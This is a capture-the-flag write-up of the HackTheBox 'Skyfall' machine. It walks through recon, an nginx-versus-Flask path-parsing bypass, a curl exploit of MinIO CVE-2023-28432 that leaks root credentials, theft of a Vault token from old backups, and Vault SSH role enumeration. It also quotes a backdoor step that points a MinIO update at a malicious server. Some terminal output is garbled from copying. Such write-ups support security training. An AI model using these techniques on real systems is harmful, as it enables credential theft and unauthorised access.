TR | EN | DE | Our Site

Skyfall - HTB - Write Up

 About Skyfall

Skyfall is an Insane Linux machine that features a company launching their new beta cloud storage application that `MinIO`, an S3 object storage service, backs. The web application is written in Python with Flask. It has a restricted section of the site that is vulnerable to a `Nginx` ACL and Flask-specific bypass which is specific to its configuration. The restricted section contains Prometheus metrics for a `MinIO` cluster that exposes internal host names and the `MinIO` version which has a known security vulnerability for information disclosure `[CVE-2023-28432]. This information disclosure leaks the `MinIO` root credentials which allows access to the S3 buckets it's hosting. Using the `MinIO client` with these credentials, a file in a user's bucket contains a home directory backup with version history. One of these versions contains a `Vault` token for an internal `Hashicorp Vault` instance and by enumerating the `Vault` policies with this token it is noted that it is configured for SSH OTP. The player needs to request an OTP from Vault to gain SSH access. The user has a `sudo` rule that allows the execution of binary that will unseal the `Hashicorp Vault` so that the user may gain access to their specific tokens and secrets. The `sudo` rule allows us to run this binary with a flag that generates a `debug.log` file owned by `root`. The player needs to exfil these files to bypass Linux permissions by leveraging a `Fuse` mount using ``sshfs``. This file reveals a root token for the `Hashicorp Vault` instance and can be used to generate an OTP to login as `root` via SSH.

Box Info

Name Skyfall
Skyfall - Play on HackTheBox
Release Date 03 Feb 2024
Retire Date Aug 2024
OS Linux Linux
Base Points Insane [50]
Rated Difficulty Rated difficulty for Skyfall
Radar Graph Radar chart for Skyfall


Related Topics

Web Application
- Vulnerability Assessment
- Area of Interest

Security Tools
- Custom Applications
- Common Applications

Vulnerabilities
- Anonymous/Guest Access
- Clear Text Credentials
- Information Disclosure

Languages
- Bash

Recon

nmap

nmap finds two open TCP ports, SSH (22) and HTTP (80):
aurora@feniks$ nmap -p 22,80 -sCV 10.10.11.254
Starting Nmap 7.80 ( https://nmap.org ) at 2024-08-23 16:55 EDT
Nmap scan report for 10.10.11.254
Host is up (0.085s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Skyfall - Introducing Sky Storage!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.79 secondsBased on the [OpenSSH](https://packages.ubuntu.com/search?keywords=openssh-server) version, the host is likely running Ubuntu 22.04 jammy.

Website - TCP 80



Most of the links on the page go to other places on the page. There is one in the middle that goes to demo.skyfall.htb. There are also some names / emails:

  • James Bond (CEO) - jbond@skyfall.htb
  • Aurora Skyy (Lead Developer) - askyy@skyfall.htb
  • Bill Tanner (CTO) - btanner@skyfall.htb
  • contact@skyfall.com

There’s a contact us form at the bottom, but it doesn’t seem to actually do anything.

Tech Stack

The HTTP response headers don’t give much information beyond the nginx version:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 23 Aug 2024 20:58:47 GMT
Content-Type: text/html
Last-Modified: Thu, 09 Nov 2023 20:44:23 GMT
Connection: keep-alive
ETag: W/"654d44a7-5097"
Content-Length: 20631

The main page loads as index.html, suggesting a static site. The 404 page is the default nginx page.I’ll note that it’s nginx 1.18.0.

Directory Brute Force

I’ll run feroxbuster against the site, and include -x html:
aurora@feniks$ feroxbuster -u http://10.10.11.254 -x html
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.4
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.254
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.4
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [html]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      501l     1612w    20631c http://10.10.11.254/
301      GET        7l       12w      178c http://10.10.11.254/assets => http://10.10.11.254/assets/
301      GET        7l       12w      178c http://10.10.11.254/assets/js => http://10.10.11.254/assets/js/
301      GET        7l       12w      178c http://10.10.11.254/assets/css => http://10.10.11.254/assets/css/
301      GET        7l       12w      178c http://10.10.11.254/assets/img => http://10.10.11.254/assets/img/
200      GET      501l     1612w    20631c http://10.10.11.254/index.html
301      GET        7l       12w      178c http://10.10.11.254/assets/img/clients => http://10.10.11.254/assets/img/clients/
301      GET        7l       12w      178c http://10.10.11.254/assets/img/portfolio => http://10.10.11.254/assets/img/portfolio/
301      GET        7l       12w      178c http://10.10.11.254/assets/img/team => http://10.10.11.254/assets/img/team/
301      GET        7l       12w      178c http://10.10.11.254/assets/vendor => http://10.10.11.254/assets/vendor/
301      GET        7l       12w      178c http://10.10.11.254/assets/vendor/aos => http://10.10.11.254/assets/vendor/aos/
[####################] - 3m    300000/300000  0s      found:11      errors:0
[####################] - 3m    300000/300000  0s      found:11      errors:0
[####################] - 2m     30000/30000   291/s   http://10.10.11.254/
[####################] - 2m     30000/30000   292/s   http://10.10.11.254/assets/
[####################] - 2m     30000/30000   292/s   http://10.10.11.254/assets/js/
[####################] - 2m     30000/30000   292/s   http://10.10.11.254/assets/css/
[####################] - 2m     30000/30000   292/s   http://10.10.11.254/assets/img/
[####################] - 2m     30000/30000   292/s   http://10.10.11.254/assets/img/clients/
[####################] - 2m     30000/30000   292/s   http://10.10.11.254/assets/img/portfolio/
[####################] - 2m     30000/30000   292/s   http://10.10.11.254/assets/img/team/
[####################] - 2m     30000/30000   292/s   http://10.10.11.254/assets/vendor/
[####################] - 2m     30000/30000   291/s   http://10.10.11.254/assets/vendor/aos/ 

Nothing interesting.

Subdomain Brute Force
Given the use of the domains skyfall.htb and demo.skyfall.htb, I’ll brute force with ffuf to see if any other subdomains respond differently:
aurora@feniks$ ffuf -u http://10.10.11.254 -H "Host: FUZZ.skyfall.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.254
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.skyfall.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

demo                    [Status: 302, Size: 217, Words: 23, Lines: 1, Duration: 151ms]
:: Progress: [19966/19966] :: Job [1/1] :: 458 req/sec :: Duration: [0:00:43] :: Errors: 0 ::Only `demo`. I’ll add both to my `/etc/hosts` file:
10.10.11.254 skyfall.htb demo.skyfall.htb
demo.skyfall.htb - TCP 80
Site
The site presents a login page:



Being a demo site, there’s a note that the creds guest / guest should work, and they do:

There are a lot of features on this page. The Dashboard page above (/index) doesn’t have anything useful.The “Files” page (/files) has a single file, and an option to upload more:

The PDF describes the service, but nothing too interesting. I can upload a file:

The Beta Features page (/beta) returns a not authorized message:

The URL Fetch page (/fetch) offers a form to upload a file from a URL:If I give it a URL of my IP, it will hit it:

10.10.11.254 - - [23/Aug/2024 17:26:37] code 404, message File not found

10.10.11.254 - - [23/Aug/2024 17:26:37] "GET /test.png HTTP/1.1" 404 -

If I give it a URL to a file that exists, that file shows up on the Files page.The MinIO Metrics page (/metrics) page returns an nginx 403 Forbidden.The Feedback page (/feedback) offers a form:

Submitting sends the content in a POST to /feedback, but there’s no indication that anything happens.The Escalate page (/escalate) has another form:

Submitting this shows a message that it’ll be at least 24 hours before they look:

That sounds like it’s not worth pursing in a CTF.

Tech Stack

The site has a footer saying that it runs on the Python web framework, Flask:The HTTP headers don’t show anything else. There’s a custom 404 page:If I use nc to catch one of the incoming web requests from the URL Fetch page, it shows Python Requests, which fits the idea that this is Flask:



GET /htb.png HTTP/1.1
Host: 10.10.14.6
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

The MinIO reference suggests that the system is using MinIO for storage. MinIO is an enterprise storage object store, compatible with S3.


Directory Brute Force

feroxbuster doesn’t find anything that I haven’t come across already:
aurora@feniks$ feroxbuster -u http://demo.skyfall.htb

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.4
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://demo.skyfall.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.4
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        1l       35w      352c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET        1l       23w      217c http://demo.skyfall.htb/ => http://demo.skyfall.htb/login
302      GET        1l       23w      217c http://demo.skyfall.htb/logout => http://demo.skyfall.htb/login
200      GET        9l      234w     3674c http://demo.skyfall.htb/login
403      GET        7l       10w      162c http://demo.skyfall.htb/metrics
[####################] - 4m     30000/30000   0s      found:4       errors:0
[####################] - 4m     30000/30000   129/s   http://demo.skyfall.htb/ 

Shell as askyy

Find MinIO Domain
Identify Parsing Issue
The difference between block on /beta and on /metrics is worth thinking about:
Site HTTP Resp Code Content
/beta 200 OK Custom Restricted Page
/metrics 403 Forbidden nginx 403 Page

Thinking about this and researching leads to a nice post from Rafa’s Blog, Exploiting HTTP Parsers Inconsistencies. It talks about an nginx config that looks like this:

location = /admin {
    deny all;
}

location = /admin/ {
    deny all;
}

And looks at how different applications (including Flask) differ in how they handle parsing URLs. The issue is in how nginx and Flask normalize URLs. There are characters that nginx does not strip from the URL but that Flask does, such as \x85. If I send /admin\x85 in the example above, nginx sees it does not match /admin or /admin/, and passes the request on to Flask. But Flask strips the \x85 and then resolves it as /admin, unblocked! There are nice summary tables showing different versions of nginx and what characters make a bypass for many different application servers. The Flask on is:

image20240824071336306

To dig in a bit deeper on this, flask is calling strip on the URL, and as this StackOverflow answer explains really nicely, that by default removes the exact list of characters from version 1.20.2 and before.

Bypass

Given that Skyfall is nginx 1.18.0, there are lots of options. These are all unusual non-ASCII characters, so it’s a bit tricky to get them into the path. The best method I found was in Burp Repeater. I’ll add a character I can see (“X”) to the end of the path:


And then switch to the “Hex” tab and edit it from “58” to “85”:

Unfortunately, it doesn’t work. I think this is because the stack is not nginx –> Flask, but nginx –> gunicorn –> Flask, and gunicorn may be performing additional normalization.I’ll try the others on the list, and 0x0c and 0x0b work:

0x09 (tab) and 0x0a (newline) both work as well here.There is a ton of data here, but there two interesting ones are minio_software_version_info which shows “version: 2023-03-13T19:46:17Z” and the minio_endpoint_url which is http://prd23-s3-backend.skyfall.htb/minio/v2/metrics/cluster.I’ll add that to my hosts file:
10.10.11.254 skyfall.htb demo.skyfall.htb prd23-s3-backend.skyfall.htb

Visiting the URL gives information about the MinIO cluster:

Alternative Bypass

Interestingly, visiting /metrics%0a also works. It’s not super clear to me why Flask (or something else on the server) is decoding %0a but not others like %0C, but it does:

Find Vault

CVE Analysis

Searching for vulnerabilities in this version of MinIO, the first result is from MinIO talking about CVE-2023-28432 and CVE-2023-28434:

The advisory for CVE-2023-28432 say it is:

In a cluster deployment, MinIO returns all environment variables, including MINIO_SECRET_KEY and MINIO_ROOT_PASSWORD, resulting in information disclosure.

That seems simple enough. Dump all the environment variables. And it say there’s are no work arounds.The advisory for CVE-2023-28434 say it is:

An attacker can use crafted requests to bypass metadata bucket name checking and put an object into any bucket while processing PostPolicyBucket. To carry out this attack, the attacker requires credentials with arn:aws:s3:::* permission, as well as enabled Console API access.

This one can be prevented by setting MINIO_BROWSER=off.The MinIO post links to a post from Security Joes, New Attack Vector In The Cloud: Attackers caught exploiting Object Storage Services, that goes into great detail about real world attacks they were seeing.

All the steps required to achieve code execution in a vulnerable MinIO instance are described below:1. POST request to endpoint /minio/bootstrap/v1/verify to expose the credentials of the admin account.2. Attacker configures a MinIO client to interact with the vulnerable instance using the credentials gotten in Step 1. For this, the following command lines are required:

mc alias set [ALIAS] [URL_TARGET_MINIO] [ACCESS_KEY] [SECRET_KEY]
mc alias list

3. Attackers trigger the update process on the compromised MinIO instance, pointing to a malicious payload hosted on a remote server. For this, the following command is executed.

mc admin update [ALIAS] [MIRROR_URL] --yes

4. “Evil” MinIO is installed, now containing a global backdoor that allows the attacker to execute commands on the host.

Step 1 is CVE-2023-28432.

CVE-2023-28432

There’s a Python POC exploit (published over a year before Skyfall’s release), but I don’t need to run it. All it does is make a POST request to /minio/bootstrap/v1/verify on the instance:

aurora@feniks$ curl -X POST http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify
{"MinioEndpoints":[{"Legacy":false,"SetCount":1,"DrivesPerSet":4,"Endpoints":[{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node1:9000","Path":"/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node2:9000","Path":"/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node1:9000","Path":"/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node2:9000","Path":"/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false}],"CmdLine":"http://minio-node{1...2}/data{1...2}","Platform":"OS: linux | Arch: amd64"}],"MinioEnv":{"MINIO_ACCESS_KEY_FILE":"access_key","MINIO_BROWSER":"off","MINIO_CONFIG_ENV_FILE":"config.env","MINIO_KMS_SECRET_KEY_FILE":"kms_master_key","MINIO_PROMETHEUS_AUTH_TYPE":"public","MINIO_ROOT_PASSWORD":"GkpjkmiVmpFuL2d3oRx0","MINIO_ROOT_PASSWORD_FILE":"secret_key","MINIO_ROOT_USER":"5GrE1B2YGGyZzNHZaIww","MINIO_ROOT_USER_FILE":"access_key","MINIO_SECRET_KEY_FILE":"secret_key","MINIO_UPDATE":"off","MINIO_UPDATE_MINISIGN_PUBKEY":"RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"}}
aurora@feniks$ curl -X POST http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify -s | jq .
{
  "MinioEndpoints": [
    {
      "Legacy": false,
      "SetCount": 1,
      "DrivesPerSet": 4,
      "Endpoints": [
        {
          "Scheme": "http",
          "Opaque": "",
          "User": null,
          "Host": "minio-node1:9000",
          "Path": "/data1",
          "RawPath": "",
          "OmitHost": false,
          "ForceQuery": false,
          "RawQuery": "",
          "Fragment": "",
          "RawFragment": "",
          "IsLocal": false
        },
        {
          "Scheme": "http",
          "Opaque": "",
          "User": null,
          "Host": "minio-node2:9000",
          "Path": "/data1",
          "RawPath": "",
          "OmitHost": false,
          "ForceQuery": false,
          "RawQuery": "",
          "Fragment": "",
          "RawFragment": "",
          "IsLocal": true
        },
        {
          "Scheme": "http",
          "Opaque": "",
          "User": null,
          "Host": "minio-node1:9000",
          "Path": "/data2",
          "RawPath": "",
          "OmitHost": false,
          "ForceQuery": false,
          "RawQuery": "",
          "Fragment": "",
          "RawFragment": "",
          "IsLocal": false
        },
        {
          "Scheme": "http",
          "Opaque": "",
          "User": null,
          "Host": "minio-node2:9000",
          "Path": "/data2",
          "RawPath": "",
          "OmitHost": false,
          "ForceQuery": false,
          "RawQuery": "",
          "Fragment": "",
          "RawFragment": "",
          "IsLocal": true
        }
      ],
      "CmdLine": "http://minio-node{1...2}/data{1...2}",
      "Platform": "OS: linux | Arch: amd64"
    }
  ],
  "MinioEnv": {
    "MINIO_ACCESS_KEY_FILE": "access_key",
    "MINIO_BROWSER": "off",
    "MINIO_CONFIG_ENV_FILE": "config.env",
    "MINIO_KMS_SECRET_KEY_FILE": "kms_master_key",
    "MINIO_PROMETHEUS_AUTH_TYPE": "public",
    "MINIO_ROOT_PASSWORD": "GkpjkmiVmpFuL2d3oRx0",
    "MINIO_ROOT_PASSWORD_FILE": "secret_key",
    "MINIO_ROOT_USER": "5GrE1B2YGGyZzNHZaIww",
    "MINIO_ROOT_USER_FILE": "access_key",
    "MINIO_SECRET_KEY_FILE": "secret_key",
    "MINIO_UPDATE": "off",
    "MINIO_UPDATE_MINISIGN_PUBKEY": "RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"
  }
}

The important part is the root user is 5GrE1B2YGGyZzNHZaIww and the root password is “GkpjkmiVmpFuL2d3oRx0”. I’ll also note that MINIO_BROWSER=off, which blocks the next exploit.

Setup MinIO Client

There’s a MinIO client, mc, to interact with a given MinIO instance. I’ll download it using the instructions here. Next I create an alias with the keys necessary to connect:
aurora@feniks$ mc alias set skyfall http://prd23-s3-backend.skyfall.htb 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0
Added `skyfall` successfully.

Next it says to test the connection with this command:

aurora@feniks$ mc admin info skyfall
mc: <ERROR>  Unable to display service info, server is too old

I am able to run ls:

aurora@feniks$ mc ls skyfall
[2023-11-07 23:59:15 EST]     0B askyy/
[2023-11-07 23:58:56 EST]     0B btanner/
[2023-11-07 23:58:33 EST]     0B emoneypenny/
[2023-11-07 23:58:22 EST]     0B gmallory/
[2023-11-07 19:08:01 EST]     0B guest/
[2023-11-07 23:59:05 EST]     0B jbond/
[2023-11-07 23:58:10 EST]     0B omansfield/
[2023-11-07 23:58:45 EST]     0B rsilva/#### MinIO Enumeration

ls -r will recursively show all the files in the cluster:

aurora@feniks$ mc ls -r skyfall
[2023-11-08 00:35:28 EST]  48KiB STANDARD askyy/Welcome.pdf
[2023-11-09 16:37:25 EST] 2.5KiB STANDARD askyy/home_backup.tar.gz
[2023-11-08 00:35:36 EST]  48KiB STANDARD btanner/Welcome.pdf
[2023-11-08 00:35:56 EST]  48KiB STANDARD emoneypenny/Welcome.pdf
[2023-11-08 00:36:02 EST]  48KiB STANDARD gmallory/Welcome.pdf
[2023-11-07 19:08:05 EST]  48KiB STANDARD guest/Welcome.pdf
[2024-08-23 17:27:13 EDT] 4.4KiB STANDARD guest/htb.png
[2023-11-08 00:35:45 EST]  48KiB STANDARD jbond/Welcome.pdf
[2023-11-08 00:36:09 EST]  48KiB STANDARD omansfield/Welcome.pdf
[2023-11-08 00:35:51 EST]  48KiB STANDARD rsilva/Welcome.pdfBesides the `Welcome.pdf` files that are all the same size, there’s two files (one of which I uploaded, `htb.png`). askyy is the lead developer. I’ll grab their `home_backup.tar.gz`:
aurora@feniks$ mc cp skyfall/askyy/home_backup.tar.gz .
...fall.htb/askyy/home_backup.tar.gz: 2.48 KiB / 2.48 KiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 6.80 KiB/s 0s

I’ll extract it and take a look:

aurora@feniks$ tar xf home_backup.tar.gz -C home_backu
aurora@fenikscky$ find home_backup/ -type f
home_backup/.ssh/authorized_keys
home_backup/.cache/motd.legal-displayed
home_backup/.bash_logout
home_backup/.profile
home_backup/.bashrc
home_backup/.sudo_as_admin_successful
home_backup/.bash_historyThere’s nothing interesting there.

Back to MinIO, I can look for previous versions:

aurora@feniks$ mc ls -r --versions skyfall 
[2023-11-07 23:59:15 EST]     0B askyy/
[2023-11-08 00:35:28 EST]  48KiB STANDARD bba1fcc2-331d-41d4-845b-0887152f19ec v1 PUT askyy/Welcome.pdf
[2023-11-09 16:37:25 EST] 2.5KiB STANDARD 25835695-5e73-4c13-82f7-30fd2da2cf61 v3 PUT askyy/home_backup.tar.gz
[2023-11-09 16:37:09 EST] 2.6KiB STANDARD 2b75346d-2a47-4203-ab09-3c9f878466b8 v2 PUT askyy/home_backup.tar.gz
[2023-11-09 16:36:30 EST] 1.2MiB STANDARD 3c498578-8dfe-43b7-b679-32a3fe42018f v1 PUT askyy/home_backup.tar.gz
[2023-11-07 23:58:56 EST]     0B btanner/
[2023-11-08 00:35:36 EST]  48KiB STANDARD null v1 PUT btanner/Welcome.pdf
[2023-11-07 23:58:33 EST]     0B emoneypenny/
[2023-11-08 00:35:56 EST]  48KiB STANDARD null v1 PUT emoneypenny/Welcome.pdf
[2023-11-07 23:58:22 EST]     0B gmallory/
[2023-11-08 00:36:02 EST]  48KiB STANDARD null v1 PUT gmallory/Welcome.pdf
[2023-11-07 19:08:01 EST]     0B guest/
[2023-11-07 19:08:05 EST]  48KiB STANDARD null v1 PUT guest/Welcome.pdf
[2024-08-23 17:27:13 EDT] 4.4KiB STANDARD null v1 PUT guest/htb.png
[2023-11-07 23:59:05 EST]     0B jbond/
[2023-11-08 00:35:45 EST]  48KiB STANDARD null v1 PUT jbond/Welcome.pdf
[2023-11-07 23:58:10 EST]     0B omansfield/
[2023-11-08 00:36:09 EST]  48KiB STANDARD null v1 PUT omansfield/Welcome.pdf
[2023-11-07 23:58:45 EST]     0B rsilva/
[2023-11-08 00:35:51 EST]  48KiB STANDARD null v1 PUT rsilva/Welcome.pdfThe home backup files all are different size. I’ve already got v3. I’ll look at v2 and v1:
aurora@feniks$ mc cp --version-id 2b75346d-2a47-4203-ab09-3c9f878466b8 skyfall/askyy/home_backup.tar.gz ./home_backup_v2.tar.gz
...fall.htb/askyy/home_backup.tar.gz: 2.64 KiB / 2.64 KiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 7.27 KiB/s aurora@fenikscky$ mc cp --version-id 3c498578-8dfe-43b7-b679-32a3fe42018f skyfall/askyy/home_backup.tar.gz ./home_backup_v1.tar.gz
...fall.htb/askyy/home_backup.tar.gz: 1.18 MiB / 1.18 MiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 1.21 MiBaurora@feniks@hacky$ mkdir home_baurora@feniksxdf@hacky$ mkdir homaurora@feniks1
aurora@feniks$ tar -xf home_backup_v2.tar.gz -C aurora@feniksp_v2
aurora@feniks$ tar -xf home_backup_v1.tar.gz -C home_backup_v1

Version 1 has a big .bash_history file, and a terraform-generator directory:

aurora@feniks$  ls -la home_backup_v1
total 48
drwxrwx--- 1 root vboxsf  4096 Nov  9  2023 .
drwxrwx--- 1 root vboxsf  4096 Aug 24 16:31 ..    
-rwxrwx--- 1 root vboxsf 10296 Nov  8  2023 .bash_history
-rwxrwx--- 1 root vboxsf   220 Jan  6  2022 .bash_logout
-rwxrwx--- 1 root vboxsf  3771 Jan  6  2022 .bashrc
drwxrwx--- 1 root vboxsf  4096 Oct  9  2023 .cache
-rwxrwx--- 1 root vboxsf   807 Jan  6  2022 .profile
drwxrwx--- 1 root vboxsf  4096 Nov  9  2023 .ssh
-rwxrwx--- 1 root vboxsf     0 Oct  9  2023 .sudo_as_admin_successful
drwxrwx--- 1 root vboxsf  4096 Nov  9  2023 terraform-generator
-rwxrwx--- 1 root vboxsf     1 Nov  9  20```
aurora@feniks$ ls -la home_backup
total 32
drwxrwx--- 1 root vboxsf 4096 Aug 24 16:15 .
drwxrwx--- 1 root vboxsf 4096 Aug 24 16:31 ..
-rwxrwx--- 1 root vboxsf    1 Nov  9  2023 .bash_history
-rwxrwx--- 1 root vboxsf  220 Jan  6  2022 .bash_logout
-rwxrwx--- 1 root vboxsf 3771 Nov  9  2023 .bashrc
drwxrwx--- 1 root vboxsf 4096 Oct  9  2023 .cache
-rwxrwx--- 1 root vboxsf  807 Jan  6  2022 .profile
drwxrwx--- 1 root vboxsf 4096 Nov  9  2023 .ssh
-rwxrwx--- 1 root vboxsf    0 Oct  9  2023 .sudo_as_admin_successful

There’s nothing interesting in either of these.v2 has the same files, and the only difference is the slightly larger .bashrc file:

aurora@feniks$ ls -la home_backup_v2
total 32
drwxrwx--- 1 root vboxsf 4096 Nov  9  2023 .
drwxrwx--- 1 root vboxsf 4096 Aug 24 16:38 ..
-rwxrwx--- 1 root vboxsf    1 Nov  9  2023 .bash_history
-rwxrwx--- 1 root vboxsf  220 Jan  6  2022 .bash_logout
-rwxrwx--- 1 root vboxsf 3953 Nov  9  2023 .bashrc
drwxrwx--- 1 root vboxsf 4096 Oct  9  2023 .cache
-rwxrwx--- 1 root vboxsf  807 Jan  6  2022 .profile
drwxrwx--- 1 root vboxsf 4096 Nov  9  2023 .ssh
-rwxrwx--- 1 root vboxsf    0 Oct  9  2023 .sudo_as_admin_s```
aurora@feniks$ ls -la home_backup
total 32
drwxrwx--- 1 root vboxsf 4096 Aug 24 16:15 .
drwxrwx--- 1 root vboxsf 4096 Aug 24 16:38 ..
-rwxrwx--- 1 root vboxsf    1 Nov  9  2023 .bash_history
-rwxrwx--- 1 root vboxsf  220 Jan  6  2022 .bash_logout
-rwxrwx--- 1 root vboxsf 3771 Nov  9  2023 .bashrc
drwxrwx--- 1 root vboxsf 4096 Oct  9  2023 .cache
-rwxrwx--- 1 root vboxsf  807 Jan  6  2022 .profile
drwxrwx--- 1 root vboxsf 4096 Nov  9  2023 .ssh
-rwxrwx--- 1 root vboxsf    0 Oct  9  2023 .sudo_as_admin_successfulThe difference is interesting:
aurora@feniks$ diff home_backup_v2/.bashrc home_backup/.bashrc
43,45d42
< export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
< export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
< 
10.10.11.254 skyfall.htb demo.skyfall.htb prd23-s3-backend.skyfall.htb prd23-vault-internal.skyfall.htb

SSH

Vault Setup

The “vault” here is HashiCorp Vault, which I actually ran into back in 2020. In Craft, the vault binary was installed on the box. I’ll install it on my box using the instructions here.Just like in Craft, I can start by looking up information about the logged in user. I’ll need to set three environment variables for the client to work:
aurora@feniks$ export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb"
aurora@feniks$ export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
aurora@feniks$ export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
aurora@feniks$ vault token lookup
Key                  Value
---                  -----
accessor             rByv1coOBC9ITZpzqbDtTUm8
creation_time        1699563963
creation_ttl         768h
display_name         token-askyy
entity_id            n/a
expire_time          2073-10-27T21:06:03.043964076Z
explicit_max_ttl     0s
id                   hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE
issue_time           2023-11-09T21:06:03.445155372Z
last_renewal         2023-11-20T16:43:24.043964166Z
last_renewal_time    1700498604
meta                 <nil>
num_uses             0
orphan               true
path                 auth/token/create
policies             [default developers]
renewable            true
ttl                  431063h45m10s
type                 serviceIn Craft I next did a list of secrets, but here I don’t have that access:
aurora@feniks$ vault secrets list
Error listing secrets engines: Error making API request.

URL: GET http://prd23-vault-internal.skyfall.htb/v1/sys/mounts
Code: 403. Errors:

* 1 error occurred:
        * permission denied#### Identify SSH Paths

For the next step, I need to find that this token has access to a role that grants SSH access. There isn’t an obvious solid path to get there, but I know of at least three ways to make this leap:

Guess At SSH

One of the main capabilities of Vault is to manage secrets for SSH access, and it would certainly be useful to me to gain access to that. I’ll notice when I try to access most things, it returns a 403 error like the one above. When I try to list SSH, it returns something different:
aurora@feniks$ vault list ssh
No value found at ssh

Something is different about this token’s access to ssh. The docs for SSH show one thing to do is list roles, and that works:

aurora@feniks$ vault list ssh/roles
Keys----admin_otp_key_role
dev_otp_key_role

developer Policy

Initially I’ll attempt to look into the policies attached to my current token, but the client says I don’t have access:

aurora@feniks$ vault token capabilities policies
deny
aurora@feniks$ vault token capabilities policies/list
deny
aurora@feniks$ vault token capabilities policies/read
deny

If I try to read these policies directly, it fails as well:

aurora@feniks$ vault policy list
Error listing policies: Error making API request.

URL: GET http://prd23-vault-internal.skyfall.htb/v1/sys/policies/acl?list=true
Code: 403. Errors:

* 1 error occurred:
        * permission denied   

